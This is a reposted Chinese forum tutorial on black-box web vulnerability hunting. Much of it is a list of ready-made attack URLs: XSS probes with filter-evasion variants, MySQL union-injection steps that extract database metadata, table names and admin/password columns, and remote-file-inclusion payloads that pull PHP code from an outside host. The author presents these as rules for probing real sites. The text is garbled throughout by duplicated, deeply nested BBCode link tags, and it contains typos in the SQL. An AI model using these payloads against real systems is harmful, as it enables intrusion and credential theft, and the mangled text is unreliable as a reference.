[转帖]web漏洞挖掘技术

fjxwud

前言
漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技术的
提升而有所变化.在前期针对缓冲区溢出 格式化字符串 堆溢出 lib库溢出等技术都
是针对elf文件(linux可执行文件)或者pe文件(win可执行文件)的漏洞挖掘技术.
在针对elf文件 pe文件(*.exe与*.dll)的漏洞挖掘过程中,出现了很多的漏洞挖掘
技术,但是针对pe文件 elf文件的漏洞挖掘始终停留在了黑盒测试(包括单元黑盒测试)
源代码审计等办法.通过rats等源代码审计软件可以找到部分源代码级别的漏洞信息,
但是毕竟源代码审计软件寻找的多数为strcpy memcpy等存在缓冲区溢出遗患的c函数,
所以通过审计源代码的办法来进行漏洞挖掘是一个可能性系数很小的漏洞挖掘技术,而
针对软件的黑盒子测试虽然也能找到一些软件的漏洞,但可能性系数也会较小,在国外
的一些进行漏洞挖掘的办法已经慢慢的提升为自己写黑盒子测试代码,然后针对系统或
软件的某个功能模块进行模块化的漏洞挖掘技术.例如linux内核的很多漏洞都是通过
fuzzing技术找到的,fuzzing即模糊测试的意思,大家可以理解为类似sql盲注入类型的
攻击技术.
网络安全的界限在不断的提升,目前缓冲区溢出漏洞已经如ms sql注入般的被很多人
堵死,而在进行网络入侵渗透的过程中,很多人渗透成功的着力点都是通过web开始的,
当然有些人是通过ms sql注入,有些人通过其它的web漏洞技术一步步的走到了入侵成功
的步骤.我们下面将会讨论一些web漏洞挖掘的简单技术,通过这些简单技术的规则,然后
配合经验的提高,大家或许会得到意想不到的效果.

--]web漏洞的分类
a: sql注入(包括mssql mysql oracle等)
sql注入漏洞,是依靠存在弱点的web脚本代码,来实现通过浏览器执行任意sql语句,从而
实现最终获取某种权限的攻击技术.sql注入的关键部分在于对元数据的利用,所谓元数据即
数据库的基础数据.例如我们可以通过database() version()来获得数据库的名称及版本,
而我们通过sql内置函数获得的这些内容都属于数据库元数据的内容.理解了元数据的概念,
在后面的章节我会给大家简单的讲解下通过元数据来获取mysql的数据表.

b: 文件包含类型,如php的的远程 本地文件包含漏洞
文件包含漏洞是php程序特有的一个弱点攻击,原理就是在使用include时没有安全的编程,
而能够找到文件包含漏洞则是入侵一个web系统的很重要的因素,有了文件包含漏洞则可以
很快速的达到上传webshell,然后本地提升权限的作用.

c: xss
xss漏洞是被很多人遗忘的漏洞,但是xss也是一个比较危险的安全隐患,我看到很多国内介绍
xss漏洞的文章大部分在如何欺骗管理员获得后台登陆帐户或者管理员的cookies文件.但这些
仅仅是xss漏洞的简单用法,如果寻找到的xss漏洞可以任意执行任何的javascript脚本,那安全
性也是不容忽视的.通过javascript脚本其实也可以做一些恶意的攻击,甚至可以获得一些web
程序的源代码,当然这个要看大家对javascript脚本的熟悉程度.例如我们这几天公布的这个可
跨站执行任意javascript脚本的漏洞,最后我也通过这个漏洞给客户演示了如何获取他们的服务
器信息,并最终实现得到其一定权限的方法.
同时例如session欺骗 cookies欺骗,目前我也把这些规入了xss漏洞的范围,当然仅仅研究这
两个技术也是很值得大家去深入的进行漏洞挖掘的.

--]web漏洞挖掘规则
我想给大家事先说明下,该文档的所有内容都为黑盒子测试的范围,也即使用这些漏洞挖掘规则,
大家仅仅需要一个web浏览器,如ie firefox等即可,也无需读取web程序的源代码,只要某个规则
符合了漏洞规则的要求,大家即可以采取相关的漏洞攻击技术进行相应的漏洞攻击办法:)
再次的罗嗦一下,在本文档我没有实际的例子给大家,但是很多漏洞挖掘的规则都是一些经验的
积累,而且很多可能在实际进行漏洞挖掘时需要与实际情况进行分析处理,例如:
[url=http://website/index1.php?id=<]http://website/index1.php?id=<script>aler　t("111")</script>,如果对方的代码过滤了"双引号[/url]
那么可以通过[url=http://website/index1.php?id=<]http://website/index1.php?id=<script>aler　t(''111'')</script>,采用''单引号测试[/url]
若单引号也过滤呢?ok,我们这样来测试[url=http://website/index1.php?id=[url=http://website/index1.php?id=<]http://website/index1.php?id=<body+onload=aler　t(''1111'')>[/url]


[url=http://website/index1.php?id=<]http://website/index1.php?id=<body+onload=aler　t(1111)>[/url]


[url=http://website/index1.php?id=<]http://website/index1.php?id=<img+src=http://otherwebsite/x.gif+onload=aler　t(''1111'')>[/url]


[url=http://website/index1.php?id=[img][/img]440){this.resized=true;this.style.width=440;}]" target=_blank>http://website/index1.php?id=<img+src=http://otherwebsite/x.gif+onload=aler　t(1111)>[/url]


[url=http://website/index1.php?id=<]http://website/index1.php?id=<"[/url]


[url=http://website/index1.php?id=<]http://website/index1.php?id=<''[/url]


http://website/index1.php?id=<


http://website/index1.php?id=<!--


http://website/index1.php?id=-->


http://website/index1.php?id=<!-- -->




使用上面的这些简单漏洞规则,如果模糊测试一些站点的话,是可以找到一些xss漏洞的,当然这些
不是全部的xss漏洞规则,但是我觉得这些规则比较经典些:)我测试一些站点的时候,使用这些
规则基本上可以找到一些xss漏洞.

b: sql injection
现在,mssql的注入技术已经变的很简单,下面的内容我们针对mysql的注入和大家一起讨论下
相关的技术,这些技术有简单的,也有一些比较复杂的.另外mysql的注入工具目前没有任何比较
强的工具,目前书写一款功能较强的mysql注入检测工具也基本纳入了2007年的计划内.
下面会针对各种规则,然后对这些规则进行简单的说明,很多规则我相信大家都用过的,不对
的地方希望大家给予指针.
下面的这四个语句判断是否存在mysql注入,其中''号类型的测试已经不是很可行,特别在php5和mysql
5的环境下:)



[url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1]http://website/index1.php?id=1[/url][/url][/url][/url][/url][/url][/url][/url][/url][/url]''[/url]


[url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1]http://website/index1.php?id=1[/url][/url][/url][/url][/url][/url][/url][/url][/url][/url] and 1=1


[url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1]http://website/index1.php?id=1[/url][/url][/url][/url][/url][/url][/url][/url][/url][/url] and 1=2


[url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1]http://website/index1.php?id=1[/url][/url][/url][/url][/url][/url][/url][/url][/url][/url] order by 4 //4为判断该表的列数,直到猜测到为止




下面的语句来获取mysql的一些信息,这里我们假设我们使用order by语句判断出的列数为4



[url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1]http://website/index1.php?id=1[/url][/url][/url][/url][/url][/url][/url][/url][/url][/url] and 1=1 union selec　t 1,2,3,4


[url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1]http://website/index1.php?id=1[/url][/url][/url][/url][/url][/url][/url][/url][/url][/url] and 1=1 union selec　t version(),database(),user(),4


[url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1]http://website/index1.php?id=1[/url][/url][/url][/url][/url][/url][/url][/url][/url][/url] and 1=1 union selec　t 1/*


[url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1]http://website/index1.php?id=1[/url][/url][/url][/url][/url][/url][/url][/url][/url][/url] and 1=1 union selec　t version()/*


[url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1]http://website/index1.php?id=1[/url][/url][/url][/url][/url][/url][/url][/url][/url][/url] and 1=1 union selec　t databse()/*




猜测表名:



[url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1]http://website/index1.php?id=1[/url][/url][/url][/url][/url][/url][/url][/url][/url][/url] and 1=1 union selec　t 1,2,3,4 from database.table where 1=2


//where 1=2 不打印猜测表的内容




这里的猜测就需要大家多靠经验了,如admin user articles news等等,而且必须在指定selec　t
的字段个数再使用,否则mysql会报错.
[url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1]http://website/index1.php?id=1[/url][/url][/url][/url][/url][/url][/url][/url][/url][/url] and 1=1 union selec　t table_schema,table_name,table_rows,
table_count from information_schema.tables //如果执行这条语句是可行的,那么恭喜大家可以
得到更多的数据库信息了:)
上面我曾经提到过使用数据库的元数据来获取mysql的信息,就是这里的这个办法,当然前提是系统
管理员没有禁止mysql普通用户对元数据库的表查询,如果禁止了则该办法是无效的.
在开始分析mysql数据库到底可以执行到那种程度的注入情况下,我花了一天的时间分析了mysql的
系统架构,最终发现通过information_schema数据库提供给mysql用户的元数据可以得到一些mysql
数据库的基本信息,例如得到数据库的各个表信息等,还可以得到数据库的权限设置等信息,下面的
内容属于临时增加的一个章节,我们一起来讨论下information_schema数据库的一些我们用到的表
的具体字段到底是干什么的:)



1: key_column_usage表


constraint_schema: 存放数据库名


table_schema: 存放数据库名


table_name: 存放数据库表信息


column_name: 存放数据库的字段信息,一般可以获取第一个字段或者自增字段的信息


2: schema表


schema_name: 存放数据库名


default_charater_set_name: 存放charset类型


default_collation_name: 存放charset相关信息


3: schema_privileges表


grantee: 存放数据库用户名


table_schema: 表名


privilege_type: 权限


4: statistics表


table_schema: 存放数据库名


table_name: 存放表名


index_schema: 数据库名


index_name: 是否缩引?


column_name: 存放索引自增字段?


5: tables表


table_schema: 存放数据库名


table_name: 存放表名


table_type: 表类型 system or base table


engin: memory myisam innodb


version:


table_rows:表的行数


auto_increment: 自增的总行数


create_time: 创建表的时间


updat e_time: 更新表的时间


create_options: 创建表时的约束条件


...




有了这些以后,如果对方系统管理员忽略了这些,则可以达到我们不需要猜测表名而
直接获取数据库表名的结果.我在本地测试时一切ok:)

猜测列名:
[url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1][url=http://website/index1.php?id=1]http://website/index1.php?id=1[/url][/url][/url][/url][/url][/url][/url][/url][/url][/url] and 1=1 union selec　t username,2,3,4 from user where 1=2
按照这个规则依次类推,如果我们猜测到user表存在username字段,则程序执行是正常的,否则程序会
出错,也可以使用where 1=1来打印表的信息,通过这样的办法就可以获取mysql数据库的某些关键表
的字段信息,如:admin与password:)


c: 文件包含漏洞
文件包含漏洞的测试,有以下几个比较简单且有效的办法.
1: 新建一个简单的php代码,如:<? phpinfo(); ?>,保存为*.txt格式
2: 新建一个简单的php代码,如:<? phpinfo(); ?>,保存为无后缀格式

然后我们测试时只需要采取下面简单的办法即可,这里我们假设我们下面的文件url为:



[url=http://bbs.cciss.cn/include]http://bbs.cciss.cn/include.txt[/url]


http://bbs.cciss.cn/include




漏洞规则:



[url=http://website/file.php?inc=http://bbs.cciss.cn/include]http://website/file.php?inc=http://bbs.cciss.cn/include.txt[/url]


[url=http://website/file.php?inc=http://bbs.cciss.cn/include]http://website/file.php?inc=http://bbs.cciss.cn/include.txt[/url]?


[url=http://website/file.php?inc=http://bbs.cciss.cn/include]http://website/file.php?inc=http://bbs.cciss.cn/include?[/url]


http://website/file.php?inc=http://bbs.cciss.cn/include





使用上面的简单规则即可实现文件包含漏洞的测试,当然得根据具体的返回信息来判断.
例如从xss漏洞的检测规则可能会发现包含文件漏洞:)

如果我们知道php的某个函数存在缓冲区溢出,我们假设这个php的内置函数为phphtml(char *str),
那么我们如何利用这样的漏洞呢?
我们假设http://website/file.php?inc=test,这里的参数inc经过php代码时使用了phphtml内置
函数,则可以使用下面的办法来触发漏洞
http://website/file.php?inc=11111111111....n(n为触发漏洞的最大字符数)
当然类似这样的漏洞是需要写程序来自动运行的,然后来触发溢出并执行shellcode.
但这里也存在一个问题,即一般情况下,类似php本身的溢出漏洞的利用是有些难度存在的.

--] 总结
针对web漏洞的挖掘,规则有n多,其中还有很多变种的规则.这里说的基本上是一些可以简单采取
手工办法测试的规则,更多的规则是依靠经验不断积累所致:)
本文比较简单,也没有什么技术含量,只是看到xfocus上介绍web漏洞的文章较少,所以才想到提交下,
希望对大家有所帮助.